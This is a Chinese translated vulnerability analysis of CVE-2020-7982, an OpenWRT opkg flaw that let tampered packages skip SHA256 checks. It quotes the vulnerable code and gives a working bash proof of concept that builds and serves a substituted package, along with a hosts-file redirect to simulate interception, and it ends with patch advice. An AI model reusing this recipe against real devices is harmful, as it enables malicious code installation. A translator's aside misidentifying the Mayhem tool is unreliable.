【撞车】硬件漏洞:OpenWRT Package Manager RCE 漏洞分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

【撞车】硬件漏洞:OpenWRT Package Manager RCE 漏洞分析

h1apwn 资讯 2020-09-01 09:53:53
1074
收藏

导语:为了利用此漏洞,要求攻击者从Web服务器提供软件包,攻击者必须能够拦截和替换设备与downloads.openwrt.org之间的通信,或者必须控制设备使用的DNS服务器使downloads.openwrt.org指向由攻击者控制的Web服务器。

0x01 漏洞介绍

我一直在使用Mayhem在OpenWRT中查找漏洞,我对OpenWRT的研究包括编写自定义工具,运行文件无需重新编译以及手动检测代码的。

 OpenWrt 是一个嵌入式的 Linux 发行版。主流路由器固件有 dd-wrt,tomato,openwrt三类。对比一个单一的、静态的系统,OpenWrt的包管理提供了一个完全可写的文件系统,从应用程序供应商提供的选择和配置,并允许自定义的设备,以适应任何应用程序。

当我为opkg配置Mayhem任务时,我偶然发现了此漏洞,Mayhem可以从文件或网络套接字提供数据。

opkg从downloads.openwrt.org下载软件包,所以我的计划是让此域名指向Mayhem服务的域名127.0.0.1。

为了测试opkg是否确实会从自定义网络连接中下载软件包,我设置了本地Web服务器并创建了一个由随机字节组成的文件。当我运行opkg安装软件包时,它按我的意图检索了文件,然后引发了分段漏洞。

 Mayhem 是微软的应用科学研究部门开发的工具,可以将多个 Windows 下的应用程序串联,以完成一连串的任务,特点是一般没有编程知识的用户也能操作。
 将不同应用程序组合成一连串的动作,一直是 Linux 等 UNIX 系统的强项,Linux 系统管理员通常都会把一些极为简单的应用程序组合,从而完成一些在 Windows 下无法完成的工作。Mayhem 开源化后会改由 Outercurve Foundation 的 Innovators Gallery 管理,Innovators Gallery 正是管理这些具试验性质的 Outercurve 项目而设立的群组。

我不明白为什么无效的程序包会导致此漏洞,毕竟,如果SHA256哈希不正确,则不应处理该软件包。

我最初的想法是opkg将下载该软件包,将其解压缩到一个临时目录,然后才将SHA256散列确定地安装到系统中。我怀疑解压缩程序无法处理格式漏洞的数据,例如从我的Web服务器提供的带有随机字节的文件。

进一步检查显示,根本没有检查SHA256哈希,这是这个漏洞的基础,格式漏洞的数据将导致各种内存冲突。

一旦我确认opkg会尝试解压缩并安装它下载的所有软件包,我就可以对Mayhem进行重新创建,对opkg稍加修改即可。

我为opkg install attr(attr是一个小的OpenWRT软件包)设置了Mayhem任务,并且Mayhem通过检测软件包解包程序中的内存漏洞,发现了远程代码执行漏洞。如果OpenWRT的SHA256验证已按预期工作,则opkg会丢弃该程序包而不对其进行处理,并且不会出现分段漏洞。

Mayhem能够Fuzzing二进制文件,而无需重新编译或检测。涉及为软件库编写许多自定义工具(Mayhem也支持)的工作流程,它使我能够在短短几周内为数十个OpenWRT应用程序设置目标,并且可以挖掘更多漏洞。

在以下各节中,我将更深入地介绍如何识别漏洞。

0x02  OpenWRT介绍

OpenWRT是一个免费的,基于Linux的操作系统,专门用于一般的嵌入式设备,尤其是网络路由器,它已安装在全球数百万台设备上。

 https://openwrt.org/

要在OpenWRT系统上安装或更新软件,要使用opgk实用程序,它的功能和用途是基于Debian系统。

opkg通过未加密的HTTP连接从downloads.openwrt.org检索可用于安装的软件包列表。

清单经过数字签名,这样可以确保在处理打包文件之前,先验证该文件来自OpenWRT维护者,如果验证失败则将其丢弃。

Packages中的一个典型条目如下所示:

 Package: attr
 Version: 2.4.48-2
 Depends: libc, libattr
 License: GPL-2.0-or-later
 Section: utils
 Architecture: x86_64
 Installed-Size: 11797
 Filename: attr_2.4.48-2_x86_64.ipk
 Size: 12517
 SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6                                                                                                                              
 Description:  Extended attributes support
  This package provides xattr manipulation utilities
  - attr
  - getfattr
  - setfattr

该SHA256sum会保证下载的软件包没有损坏或遭到破坏。隐含地保证了预期的SHA256哈希来自OpenWRT维护者,因为嵌入它的包列表本身已通过有效签名进行了验证。

从理论上讲,这意味着即使传输通道(HTTP)本身是不安全的,也可以通过使用签名,包列表或包归档文件进行篡改。

关于这种推理方式的一些讨论可以在这里找到。

 https://whydoesaptnotusehttps.com/

0x03  漏洞分析

当用户通过运行opkg install

解析器遍历每个包条目,并对每种类型的字段执行不同的操作。

一旦遇到SHA256sum字段,它将调用pkg_set_sha256:

 312              else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
 313                      pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);


1585806252250.pngpkg_set_sha256尝试将SHA256sum字段从十六进制解码为二进制并将其存储在内部表示形式中:

 244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
 245 {
 246      size_t len;
 247      char *p = checksum_hex2bin(cksum, &len);
 248
 249      if (!p || len != 32)
 250              return NULL;
 251
 252      return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
 253 }

资源

1585806386090.png

但是,如果解码失败,则在不存储哈希的情况下会自动失败。

实际的漏洞在checksum_hex2bin中。

 234 char *checksum_hex2bin(const char *src, size_t *len)
 235 {
 236      size_t slen;
 237      unsigned char *p;
 238      const unsigned char *s = (unsigned char *)src;
 239      static unsigned char buf[32];
 240
 241      if (!src) {
 242              *len = 0;
 243              return NULL;
 244      }
 245
 246      while (isspace(*src))
 247              src++;
 248
 249      slen = strlen(src);
 250
 251      if (slen > 64) {
 252              *len = 0;
 253              return NULL;
 254      }
 255
 256      for (p = buf, *len = 0;
 257           slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
 258           slen--, s += 2, (*len)++)
 259              *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);
 260
 261      return (char *)buf;
 262 }

资源

1585806436427.png

最初,s和src变量指向同一地址。在第246行,src变量前进到第一个非空格字符。但是,实际的解码发生在从第256行开始的for循环内,它对s变量进行操作,该变量仍指向字符串的最开始。

因此,如果输入字符串具有任何前导空格,则它将尝试对空格字符进行解码。该空格不是十六进制字符,因此isxdigit()返回false,解码器循环将立即退出,而* len设置为0。

如果再次查看软件包解析器,我们将看到传递给pkg_set_sha256的字符串是“ SHA256sum:

 313 pkg_set_sha256(pkg,line + strlen(“ SHA256sum”)+1);

实际上,这意味着该字符串的第一个字符是空格。软件包列表解析完成后,再次通过HTTP下载软件包,遵循几个验证步骤。

下载的软件包的大小必须等于软件包列表中指定的大小:

 1379      pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);
 1380
 1381      if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
 1382              if (!conf->force_checksum) {
 1383                      opkg_msg(ERROR,
 1384                               "Package size mismatch: %s is %lld bytes, expecting %lld bytes\n",
 1385                               pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size);
 1386                      return -1;
 1387              } else {
 1388                      opkg_msg(NOTICE,
 1389                               "Ignored %s size mismatch.\n",
 1390                               pkg->name);
 1391              }
 1392      }

资源

并且如果为此程序包指定了SHA256哈希,则它必须匹配:

 1415      /* Check for sha256 value */
 1416      pkg_sha256 = pkg_get_sha256(pkg);
 1417      if (pkg_sha256) {
 1418              file_sha256 = file_sha256sum_alloc(local_filename);
 1419              if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
 1420                      if (!conf->force_checksum) {
 1421                              opkg_msg(ERROR,
 1422                                       "Package %s sha256sum mismatch. "
 1423                                       "Either the opkg or the package index are corrupt. "
 1424                                       "Try 'opkg update'.\n", pkg->name);
 1425                              free(file_sha256);
 1426                              return -1;
 1427                      } else {
 1428                              opkg_msg(NOTICE,
 1429                                       "Ignored %s sha256sum mismatch.\n",
 1430                                       pkg->name);
 1431                      }
 1432              }
 1433              if (file_sha256)
 1434                      free(file_sha256);
 1435      }

资源

但是由于checksum_hex2bin无法解码SHA256sum字段,因此仅跳过了第1418行之后的代码。

该漏洞似乎是在三年前于2017年2月引入的:

 https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf

0x04  漏洞利用

为了进行利用,要求攻击者从Web服务器提供软件包,攻击者必须能够拦截和替换设备与downloads.openwrt.org之间的通信,或者必须控制设备使用的DNS服务器使downloads.openwrt.org指向由攻击者控制的Web服务器。

可能会使用数据包欺骗或ARP缓存中毒攻击本地网络,但这尚未经过测试。

唯一要考虑的限制是,受感染软件包的文件大小必须与软件包列表中的“ 大小”字段匹配。

这样做很简单:

· 创建一个小于原始包的包

· 计算原始包装和受损包装之间的差

· 将此零字节数量附加到被破坏程序包的末尾

以下PoC说明了如何实现利用:

 #!/bin/bash
 
 # Download the package lists for mirroring
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
 wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
 wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
 
 mv downloads.openwrt.org/snapshots .
 rm -rf downloads.openwrt.org/
 
 # Get the original package
 wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
 ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
 tar zxf attr_2.4.48-2_x86_64.ipk
 rm attr_2.4.48-2_x86_64.ipk
 
 # Extract the binaries
 mkdir data/
 cd data/
 tar zxvf ../data.tar.gz
 rm ../data.tar.gz
 
 # Build the replacement binary. It is a very small program that prints a string.
 rm -f /tmp/pwned.asm /tmp/pwned.o
 echo "section  .text" >>/tmp/pwned.asm
 echo "global   _start" >>/tmp/pwned.asm
 echo "_start:" >>/tmp/pwned.asm
 echo " mov  edx,len" >>/tmp/pwned.asm
 echo " mov  ecx,msg" >>/tmp/pwned.asm
 echo " mov  ebx,1" >>/tmp/pwned.asm
 echo " mov  eax,4" >>/tmp/pwned.asm
 echo " int  0x80" >>/tmp/pwned.asm
 echo " mov  eax,1" >>/tmp/pwned.asm
 echo " int  0x80" >>/tmp/pwned.asm
 echo "section  .data" >>/tmp/pwned.asm
 echo "msg  db  'pwned :)',0xa" >>/tmp/pwned.asm
 echo "len  equ $ - msg" >>/tmp/pwned.asm
 
 # Assemble
 nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
 
 # Link
 ld /tmp/pwned.o -o usr/bin/attr
 
 # Pack into data.tar.gz
 tar czvf ../data.tar.gz *
 cd ../
 
 # Remove files no longer needed
 rm -rf data/
 
 # Pack
 tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
 
 # Remove files no longer needed
 rm control.tar.gz data.tar.gz debian-binary
 
 # Compute the size difference between the original package and the compromised package
 MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
 FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"
 
 # Pad the modified file to the expected size
 head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk
 
 # Download the dependency of attr
 wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk
 
 # Position the files for serving from the web server
 mkdir -p snapshots/packages/x86_64/packages/
 mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
 mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
 
 # Launch a basic web server that opkg will be connecting to
 sudo python -m SimpleHTTPServer 80

如果我们假设Web服务器IP为192.168.2.10,请在OpenWRT系统上运行以下命令:

 echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr

在patch之前将打印“ pwned :)”,需要对/ etc / hosts进行修改,以模拟中间人攻击。

0x05  缓解措施

作为权宜之计,OpenWRT在报告此漏洞后不久,便从软件包列表中删除了SHA256sum中的空间。

这有助于减轻用户的风险;在此更改之后更新了软件包列表的用户不再容易受到攻击,因为后续安装将从格式正确的列表中进行,这些列表不会回避哈希验证。

但是,这不是一个长期解决方案,因为攻击者可以简单地提供由OpenWRT维护者签名的较旧的软件包列表。

checksum_hex2bin中的漏洞已修复,并已集成到OpenWRT版本18.06.7和19.07.1中,这两个版本均于2020年2月1日发布。

我的建议是将OpenWRT版本升级到18.06.7或19.07.1。

本文翻译自:https://blog.forallsecure.com/uncovering-openwrt-remote-code-execution-cve-2020-7982如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务